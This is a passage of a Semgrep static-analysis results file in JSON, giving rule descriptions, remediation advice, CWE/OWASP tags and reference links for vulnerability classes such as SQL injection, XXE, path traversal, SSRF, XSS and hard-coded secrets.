'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","id":"java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","name":"java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jdo-sqli.jdo-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder.tainted-xml-decoder)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","id":"java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","name":"java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xml-decoder.tainted-xml-decoder"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","id":"python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","name":"python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","id":"python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","name":"python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","id":"javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","name":"javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead."},"help":{"markdown":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","id":"java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","name":"java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.web-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.web-client.ssrf","id":"csharp.lang.security.ssrf.web-client.ssrf","name":"csharp.lang.security.ssrf.web-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.web-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","id":"python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","name":"python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.decoded-xss.decoded-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/javascript.browser.decoded-xss.decoded-xss","id":"javascript.browser.decoded-xss.decoded-xss","name":"javascript.browser.decoded-xss.decoded-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.decoded-xss.decoded-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","id":"python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","name":"python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","id":"java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","name":"java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"help":{"markdown":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#enabled)\n","text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","id":"terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","name":"terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-string.tainted-html-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-string.tainted-html-string","id":"javascript.aws-lambda.security.tainted-html-string.tainted-html-string","name":"javascript.aws-lambda.security.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2)\n - [https://us-cert.cisa.gov/ncas/alerts/TA14-290A](https://us-cert.cisa.gov/ncas/alerts/TA14-290A)\n - [https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs](https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs)\n - [https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener](https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener)\n","text":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","id":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","name":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","id":"java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","name":"java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","id":"java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","name":"java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - 